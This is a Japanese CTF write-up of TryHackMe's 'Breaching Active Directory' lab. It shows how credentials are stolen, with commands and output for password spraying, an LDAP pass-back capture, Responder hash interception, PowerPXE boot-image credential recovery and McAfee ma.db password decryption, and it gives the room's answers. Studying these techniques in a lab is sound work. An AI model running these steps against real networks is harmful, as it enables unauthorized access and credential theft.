【TryHackMe】Breaching Active Directory（AttackBox利用なし）

## はじめに
TryHackMeの「Breaching Active Directory」について、Writeupを書きつつ学習内容の個人的なまとめです。AttackBoxは使用せず、自宅のKali環境で進めました。

### #このルームの目的
ADの設定不備を突いて攻撃の目的を達成するためには、まずADに紐づくアカウントに対しての初期アクセスが必要です。このルームでは、ADの認証情報を窃取するための基本的な手法について学習します。

:::note warn
本記事ではルームのクリアではなく、提供されている学習内容の理解を目的としています。そのためTryHackMe内で触れられていない用語・情報についても適宜記載をしておりますが、必ずしも関連性を保証するものではありません。
:::

## Task 1. Introduction to AD Breaches
このルームに関する説明に目を通しつつ、DNSとVPNを設定するだけの準備タスクです。

### #DNS設定
説明の通りに以下のコマンドを打とうとすると失敗します。
```
sed -i '1s|^|nameserver $THMDCIP\n|' /etc/resolv-dnsmasq
```
筆者の環境では`/etc/resolv-dnsmasq`ではなく`etc/resolv.conf`でした。念のため`nano`で開いて下記のように編集して保存。
```
# Generated by NetworkManager
search localdomain
nameserver <追加するTHMDCのIPアドレス>
nameserver <デフォルトIPアドレス>
```

### #VPN設定
`nslookup thmdc.za.tryhackme.com`が全く通らなくて焦りましたが、原因は普段のCTFルームを解く用のVPNに接続していたからでした。
**Other Hosts**という項目に説明がある通り、このRoom専用のVPN設定ファイルをダウンロードする必要があるようです。ということで新しい設定ファイルでOpenVPNを起動して接続し、無事`nslookup`が通りました。


### #解答
*Q1. I have completed the AD basics room and am ready to learn about AD breaching techniques.*
*A. No answer needed*

*Q2. I have connected to the network and configured DNS.*
*A. No answer needed*


## Task 2. OSINT and Phishing
ここでは情報収集の基礎として、OSINTとフィッシングについて触れています。


### #OSINT
OSINTとは **Open Source Intelligence**の略語で、インターネットや新聞等、誰であってもアクセス可能な情報を分析することを意味し、ここから攻撃に利用可能な情報を見つけ出します。
**Shodan**や**Censys**等、世の中に公開されているIT資産に対して手軽にスキャンを実行できるような様々なOSINTツールがインターネット上で見つかります。
また、**HaveIBeenPwned**等のサイトでは、メールアドレス等の個人情報がデータ侵害によって不正に公開されていないかを調べることができます。

OSINT自体は合法であるため、必ずしも攻撃者のみに有益なものではなく、セキュリティ業務に関わる人材であれば少なからず利用しているのではないでしょうか。

### #フィッシング
偽のメール/Webサイトを通じて認証情報を窃取する行為です。
最近ではPCに偽のウィルス感染警告を表示させ、表示されている連絡先に電話するとサポートを装った攻撃者に遠隔操作される**サポート詐欺**や、電話や音声を利用してユーザーを誘導する**Vishing**（Voice + Phishing）と呼ばれる手法なんかも流行っています。

### #解答
*Q1. I understand OSINT and how it can be used to breach AD*
*A. No answer needed*

*Q2. I understand Phishing and how it can be used to breach AD*
*A. No answer needed*

*Q3. What popular website can be used to verify if your email address or password has ever been exposed in a publicly disclosed data breach?*
*A. HaveIBeenPwned*

## Task 3. NTLM Authenticated Services
ここではNTLM認証を悪用して認証情報を窃取する手法について学びます。NTMLはチャレンジレスポンスを利用した認証方式で、ネットワーク経由で認証を行うNetNTLM（いわゆるNTLM認証）がADで利用されています。ただしセキュアではないことから2024年6月より非推奨となっており、Kerberosを利用することが一般的です。

とある企業がNTML認証を利用するサービスをインターネットに公開している場合（今時無いとは思いますが）、攻撃者は認証情報を窃取できる可能性があります。

### #パスワードスプレー攻撃
いよいよ実践ですが、公開されている認証ページ（ntlmauth.za.tryhackme.com）に対してブルートフォースを試行していきます。大体の企業ではアカウントロック設定が掛かっているため、ユーザー名ではなくパスワードを固定するパスワードスプレー手法を利用します。

タスクファイルをダウンロードし、Pythonスクリプトを実行。

```
┌──(kali㉿kali)-[~]
└─$ python3 ntlm_passwordspray.py -u usernames.txt -f za.tryhackme.com -p Changeme123 -a http://ntlmauth.za.tryhackme.com/
[*] Starting passwords spray attack using the following password: Changeme123
/usr/lib/python3/dist-packages/ntlm_auth/rc4.py:18: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
  algo = algorithms.ARC4(key)
[-] Failed login with Username: anthony.reynolds
[-] Failed login with Username: samantha.thompson
[-] Failed login with Username: dawn.turner
[-] Failed login with Username: frances.chapman
[-] Failed login with Username: henry.taylor
[-] Failed login with Username: jennifer.wood
[+] Valid credential pair found! Username: hollie.powell Password: Changeme123
[-] Failed login with Username: louise.talbot
[+] Valid credential pair found! Username: heather.smith Password: Changeme123
[-] Failed login with Username: dominic.elliott
[+] Valid credential pair found! Username: gordon.stevens Password: Changeme123
[-] Failed login with Username: alan.jones
[-] Failed login with Username: frank.fletcher
[-] Failed login with Username: maria.sheppard
[-] Failed login with Username: sophie.blackburn
[-] Failed login with Username: dawn.hughes
[-] Failed login with Username: henry.black
[-] Failed login with Username: joanne.davies
[-] Failed login with Username: mark.oconnor
[+] Valid credential pair found! Username: georgina.edwards Password: Changeme123
[*] Password spray attack completed, 4 valid credential pairs found

```
`[+] Valid credential pair found!`というメッセージから始まっている行がクラックに成功したユーザーです。ここでは4つのユーザーが初期パスワードである「Changeme123」を利用していました。

試しにユーザー名：hollie.powell、パスワード：Changeme123でログインしてみます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3785345/5005f709-41b2-42dd-9d7c-38e102c225f9.png)

Pythonスクリプトでは何をしているのか、実際にアクセスを試行している部分を抜き出してみました。
```python
response = requests.get(url, auth=HttpNtlmAuth(fqdn + "\\" + user, password))
if (response.status_code == 200):
    print ("[+] Valid credential pair found! Username: " + user + " Password: " + password)
```
`get`メソッドに`auth`パラメータを渡すことでHTTP認証が可能ですが、ここでは`HttpNtlmAuth`というサードパーティー製のライブラリを利用しています。あとはuserレスポンスコードが200で返却されれば認証成功ということで、他の攻撃にも応用できそうな汎用性の高いコードなので覚えておきたいと思います。


### #解答
*Q1. NTLM を使用するチャレンジ レスポンス認証メカニズムの名前は何ですか?*
*A. NetNtlm*

*Q2. パスワード スプレー スクリプトによって見つかった 3 番目の有効な資格情報ペアのユーザー名は何ですか?*
*A. gordon.stevens*

*Q3. パスワード スプレー スクリプトによって有効な資格情報のペアがいくつ見つかりましたか?*
*A. 4*

*Q4.有効な資格情報ペアを使用して認証するときに Web アプリケーションによって表示されるメッセージは何ですか?*
*A. Hello World*

## Task 4. LDAP Bind Credentials
続いてLDAP認証を悪用した情報窃取です。LDAPはADにおいて、各ユーザーの資格情報の問い合わせに利用されているプロトコルで、GitLab、Jenkins、ネットワークプリンター等の外部連携システムがユーザーを認証するためにLDAPクエリを発行します。

ユーザーの資格を問い合わせるためにLDAPクエリを発行する必要がありますが、そのためにはサービス自体がADに認証される必要があります。なので上記のようなサービスはADの資格情報を保持しており、それらを復元できればADへの侵害が可能となります。

### #LDAPパスバック攻撃
簡単に検索しても全く情報が出てきませんが、要はスプーフィングの系統だと理解しました。
通常のLDAPの流れとしては、
1. ネットワークプリンターからADに対し、ポート389（LDAPのデフォルトポート）へ資格情報を送信
1. ADがネットワークプリンターを認証
1. ネットワークプリンターがLDAPクエリをリクエスト

となりますが、説明では`Server`のIPアドレスを自身に書き換え、`nc -lvp 389`を利用してプリンターからの通信を待ち受けています。つまりユーザーのマシンをADサーバーへ見立て、1で送信される認証情報を窃取しようとしている訳です。

しかし、通常であれば資格情報の送信前にプリンターとLDAPサーバー間で認証方法選択のネゴシエートが走るため、`Netcat`を利用した待ち受けでは失敗します。そこで攻撃者のマシンに**OpenLDAP**をインストールし、弱い認証方式で資格情報を授受するように構成します。

### #LDAPサーバーの構成
**OpenLDAP**は名前の通り、BSDライセンスで公開されているオープンソースのLDAPサーバーソフトウェアです。説明に従いインストールします。

### #LDAP資格情報の窃取
LDAPサーバーを構成できたら、`tcpdump`でパケットを待ち受けます。

```
┌──(kali㉿kali)-[~]
└─$ sudo tcpdump -SX -i breachad tcp port 389
[sudo] kali のパスワード:
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on breachad, link-type RAW (Raw IP), snapshot length 262144 bytes
```
後はプリンター設定画面の`Server`に自身のIPアドレスを入力し、`Test Settings`をクリックします。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3785345/eefd0b7b-d21f-4845-9418-440d14f6c97e.png)

:::note info
このIPアドレスはTryHackMeのVPN上で割り当てられるIPアドレスですので、それぞれの環境に合わせて書き換えてください。Kaliを使っている場合は画面右上に表示されているIPアドレスになります。
:::


しばらく待っているとシェルが更新され、大量のパケットの情報が表示されます。1つずつ見ていくとパスワードが記載されているパケットが見つかりました。
```
[...]
13:47:41.998460 IP 10.200.26.201.60015 > 10.50.24.5.ldap: Flags [P.], seq 1280349544:1280349609, ack 1876231093, win 1027, length 65
        0x0000:  4500 0069 8b92 4000 7f06 2835 0ac8 1ac9  E..i..@...(5....
        0x0010:  0a32 1805 ea6f 0185 4c50 9568 6fd5 03b5  .2...o..LP.ho...
        0x0020:  5018 0403 52ec 0000 3084 0000 003b 0201  P...R...0....;..
        0x0030:  0560 8400 0000 3202 0102 0418 7a61 2e74  .`....2.....za.t
        0x0040:  7279 6861 636b 6d65 2e63 6f6d 5c73 7663  ryhackme.com\svc
        0x0050:  4c44 4150 8013 7472 7968 6163 6b6d 656c  LDAP..tryhackmel
        0x0060:  6461 7070 6173 7331 40                   dappass1@
[...]
```

### #解答
*Q1. What type of attack can be performed against LDAP Authentication systems not commonly found against Windows Authentication systems?*
*A. LDAP Pass-back Attack*

*Q2. What two authentication mechanisms do we allow on our rogue LDAP server to downgrade the authentication and make it clear text?*
*A. LOGIN,PLAIN*

*Q3. What is the password associated with the svcLDAP account?*
*A. tryhackmeldappass1@*


## Task 5. Authentication Relays
このタスクでは、タスク3でも登場したNetNTLM認証の通信を傍受し、認証情報の窃取を試みます。

NetNTLM認証を使用するプロトコルとして、ファイル共有を行う**SMB（Server Message Block）** がありますが、ADにおいての**SMB**はファイル共有だけでなくドメイン全体のリモート管理も担います。

ここでは`Responder`というツールを利用して中間者攻撃を実行し、クライアントから送信されるNTLMハッシュを傍受します。ユーザーに対して偽のレスポンスを送信することで、ユーザーと攻撃者のマシンが通信を行うよう仕向けることが可能です。

### #NetNTLMチャレンジの傍受
早速`Responder`を使っていきます。といいつつ実行は簡単で、ADと同一のネットワークに接続している状態であればコマンド1つで完了します。
```
┌──(kali㉿kali)-[~]
└─$ sudo responder -I breachad
```
しばらく待っているとNTLMハッシュが手に入りました。後は`hashcat`コマンドで総当たりすることで、認証情報を窃取できます。

実際にはただ傍受するのではなく中間者リレーを行うことで、より深い情報を入手できる可能性があります。が、通常はSMB署名なんてものが付いていたりと上手くいかないよ～的なことが説明に書かれていますね。

### #解答
*Q1. What is the name of the tool we can use to poison and capture authentication requests on the network?*
*A. Responder*

*Q2. What is the username associated with the challenge that was captured?*
*A. svcFileCopy*

*Q3. What is the value of the cracked password associated with the challenge that was captured?*
*A. FPassword1!*

## Task 6. Microsoft Deployment Toolkit
**MDT（Microsoft Deployment Toolkit）** はWindowsOSの自動展開を支援するMicrosoftのサービスです。**MDT**は更に**SCCM（System Center Configuration Manager）** というコンピューター管理に用いられるソフトウェアと統合されています。

例えば「ブートイメージ」を編集してOfficeソフトやセキュリティ対策ソフトを事前にインストールしておくことで、新しいPCが必要になった際、ネットワークにPCを繋ぐだけで他のPCと同様のセットアップを自動で実行できるということです。

このタスクでは「ブートイメージ」に含まれる認証情報窃取を狙います。

### #PXEブート
PXEブートとは、ローカルストレージを持たないPCでもネットワーク経由で起動し、OSを展開することができる仕組みのことです。MDTはこの仕組みを利用することで、ネットワーク越しにPCのセットアップを実行できます。

セットアップのフローは以下の通りです。
1. ネットワークに参加したPCはDHCPへIPアドレスを要求
1. IPアドレスが割り振られると、PCはMDTサーバーへPXEブートイメージを要求
1. MDTサーバーがPCへPXEブートイメージの情報を送信
1. PCはMDTサーバーからTFTPを利用してPXEブートイメージをダウンロード

少し理解が難しいのですが、要はこのPXEブートイメージにADアカウントの認証情報が含まれているとのこと。そのためPXEブートイメージを入手し、`powerpxe`というツールで認証情報を復元することが目的となります。

### #PXEブートイメージの取得
本来ならDHCPの悪用が必要なのだと推測しますが、このルームでは省略され、THMJMP1というマシンにSSH接続をして攻撃を行うようです。

まずは http ://pxeboot.za.tryhackme.com にアクセスしてPXEブートイメージのファイル名を確認し、`x64{`で始まるファイル名をコピーしておきます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3785345/f921be6f-6ce1-4194-98dd-706f460e0578.png)


続いてSSH接続を行います。

```
┌──(kali㉿kali)-[~]
└─$ ssh thm@THMJMP1.za.tryhackme.com
thm@thmjmp1.za.tryhackme.com's password: 

～～～

Microsoft Windows [Version 10.0.17763.1098]
(c) 2018 Microsoft Corporation. All rights reserved.

thm@THMJMP1 C:\Users\thm>
```
接続できたら説明の通りに自身のフォルダを作成し、`C:\powerpxe`をコピーします。

そしてTFPTコマンドで先ほど確認したファイル名のBCDファイルを`conf.bcd`という名前でダウンロード。


```
thm@THMJMP1 C:\Users\thm\Documents\akinosora>tftp -i 10.200.26.202 GET "\Tmp\x64{033445D1-7C37-434B-80AA-A95909BDEB0E}.bcd" conf.bcd
Transfer successful: 12288 bytes in 1 second(s), 12288 bytes/s
```
あとは説明の通りにコマンドを打っていくと資格情報が復元できます。
```
thm@THMJMP1 C:\Users\thm\Documents\akinosora>Import-Module .\PowerPXE.ps1
'Import-Module' is not recognized as an internal or external command,
operable program or batch file.

thm@THMJMP1 C:\Users\thm\Documents\akinosora>powershell -executionpolicy bypass
 
PS C:\Users\thm\Documents\akinosora> Import-Module .\PowerPXE.ps1
PS C:\Users\thm\Documents\akinosora> $BCDFile = "conf.bcd"
PS C:\Users\thm\Documents\akinosora> Get-WimFile -bcdFile $BCDFile
>> Parse the BCD file: conf.bcd
>>>> Identify wim file : \Boot\x64\Images\LiteTouchPE_x64.wim
\Boot\x64\Images\LiteTouchPE_x64.wim
PS C:\Users\thm\Documents\akinosora> tftp -i 10.200.26.202 GET "\Boot\x64\Images\LiteTouchPE_x64.wim" pxeboot.win
Transfer successful: 341899611 bytes in 160 second(s), 2136872 bytes/s

PS C:\Users\thm\Documents\akinosora> Get-FindCredentials -WimFile .\pxeboot.win
>> Open .\pxeboot.win
New-Item : An item with the specified name C:\Users\thm\Documents\akinosora\ already exists.
At C:\Users\thm\Documents\akinosora\PowerPXE.ps1:212 char:13
+     $null = New-Item -ItemType directory -Path $WimDir
+             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ResourceExists: (C:\Users\thm\Documents\akinosora\:String) [New-Item], IOException
    + FullyQualifiedErrorId : DirectoryExist,Microsoft.PowerShell.Commands.NewItemCommand
 
>>>> Finding Bootstrap.ini
>>>> >>>> DeployRoot = \\THMMDT\MTDBuildLab$
>>>> >>>> UserID = svcMDT
>>>> >>>> UserDomain = ZA
>>>> >>>> UserPassword = PXEBootSecure1@
```


### #解答
*Q1. What Microsoft tool is used to create and host PXE Boot images in organisations?*
*A. Microsoft Deployment Toolkit*

*Q2. What network protocol is used for recovery of files from the MDT server?*
*A. TFTP*

*Q3. What is the username associated with the account that was stored in the PXE Boot image?*
*A. svcMDT*

*Q4. What is the password associated with the account that was stored in the PXE Boot image?*
*A. PXEBootSecure1@*

*Q5. While you should make sure to cleanup you user directory that you created at the start of the task, if you try you will notice that you get an access denied error. Don't worry, a script will help with the cleanup process but remember when you are doing assessments to always perform cleanup.*
*A. No answer needed*




## Task 7. Configuration Files
最後の攻撃手法は設定ファイルの悪用です。コンピューターシステムには様々な設定ファイルが存在していますが、ここでは**McAfee**のエンドポイントセキュリティ製品の設定ファイルから認証情報を窃取します。
**McAfee**はインストール中に管理サーバーへ接続するための認証情報を`ma.db`というファイルに保存します。

この`ma.db`は所定の場所（`C:\ProgramData\McAfee\Agent\DB`）に保存されているため、認証情報の復元を試行できる訳です。
```
thm@THMJMP1 C:\>cd ProgramData

thm@THMJMP1 C:\ProgramData>cd McAfee/Agent 

thm@THMJMP1 C:\ProgramData\McAfee\Agent>cd DB 

thm@THMJMP1 C:\ProgramData\McAfee\Agent\DB>dir 
 Volume in drive C is Windows                      
 Volume Serial Number is 1634-22A9                 
                                                   
 Directory of C:\ProgramData\McAfee\Agent\DB       
                                                   
03/28/2022  04:19 AM    <DIR>          .           
03/28/2022  04:19 AM    <DIR>          ..          
03/05/2022  06:45 PM           120,832 ma.db       
               1 File(s)        120,832 bytes      
               2 Dir(s)  48,467,275,776 bytes free
```

`ma.db`の存在を確認できました。続いて`SCP`でコピーし、**sqlitebrowser**というツールでデータベースの内容を見てみます。

```
┌──(kali㉿kali)-[~]
└─$ scp thm@THMJMP1.za.tryhackme.com:C:/ProgramData/McAfee/Agent/DB/ma.db .
The authenticity of host 'thmjmp1.za.tryhackme.com (10.200.26.248)' can't be established.
ED25519 key fingerprint is SHA256:50ZqYlTFUYKTHHPzgPNzG0gSydLnknXL0Ea7lUs7tT8.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:1: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'thmjmp1.za.tryhackme.com' (ED25519) to the list of known hosts.
thm@thmjmp1.za.tryhackme.com's password: 
ma.db                                                                                                                                                                                                     100%  118KB  87.6KB/s   00:01    
                   
┌──(kali㉿kali)-[~]
└─$ sqlitebrowser ma.db 
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3785345/b7e96061-2893-4676-b26b-540e6768337b.png)

「データ閲覧」から「AGENT_REPOSITORIES」を選択。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3785345/ae6b545c-0114-4da6-a167-902b33891766.png)

少し右にスクロールすると...

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3785345/9c5b20cf-8089-4659-a4d5-969f778e4284.png)

暗号化されたパスワードを入手できました。
`https://github.com/funoverip/mcafee-sitelist-pwd-decryption`から復号ツールをダウンロードし解凍します。

```           
┌──(kali㉿kali)-[~/Downloads]
└─$ unzip mcafee-sitelist-pwd-decryption-1649686607913.zip 
Archive:  mcafee-sitelist-pwd-decryption-1649686607913.zip
3665de8339236b9bd9782b840bcf709a70202ae4
   creating: mcafee-sitelist-pwd-decryption-master/
  inflating: mcafee-sitelist-pwd-decryption-master/README.md  
  inflating: mcafee-sitelist-pwd-decryption-master/mcafee_sitelist_pwd_decrypt.py
```
続いて暗号化されたパスワードを引数に渡して復号ツールを実行しますが、`Crypto`モジュールが無いと怒られました。
`apt`でインストールして再実行。
```
┌──(kali㉿kali)-[~/Downloads/mcafee-sitelist-pwd-decryption-master]
└─$ python2 mcafee_sitelist_pwd_decrypt.py jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==
Traceback (most recent call last):
  File "mcafee_sitelist_pwd_decrypt.py", line 15, in <module>
    from Crypto.Cipher import DES3
ImportError: No module named Crypto.Cipher
         
┌──(kali㉿kali)-[~/Downloads/mcafee-sitelist-pwd-decryption-master]
└─$ apt install Crypto
Error: ロックファイル /var/lib/dpkg/lock-frontend をオープンできません - open (13: 許可がありません)
Error: Unable to acquire the dpkg frontend lock (/var/lib/dpkg/lock-frontend), are you root?
                                                                                                 
┌──(kali㉿kali)-[~/Downloads]
└─$ python mcafee_sitelist_pwd_decrypt.py jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q== 
Crypted password   : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==
Decrypted password : MyStrongPassword!
                                        
```
といわけでパスワードが入手できました。


*Q1. What type of files often contain stored credentials on hosts?*
*A. Configuration Files*

*Q2. What is the name of the McAfee database that stores configuration including credentials used to connect to the orchestrator?*
*A. ma.db*

*Q3. What table in this database stores the credentials of the orchestrator?*
*A. AGENT_REPOSITORIES*

*Q4. What is the username of the AD account associated with the McAfee service?*
*A. svcAV*

*Q5. What is the password of the AD account associated with the McAfee service?*
*A. MyStrongPassword!*

## Task 8. Conclusion
*Q1. I understand how configuration changes can help prevent AD breaches.*
*A. No answer needed*

## まとめ
このルームではAD環境の認証情報を窃取するための攻撃手法について学んできました。
複数のツールに触れつつ、企業のADにまつわる概念を体感できとても勉強になったと思います。

Walkthroughとはいえかなり躓きポイントもあったと思うので、この投稿が誰かの助けになれば幸いです。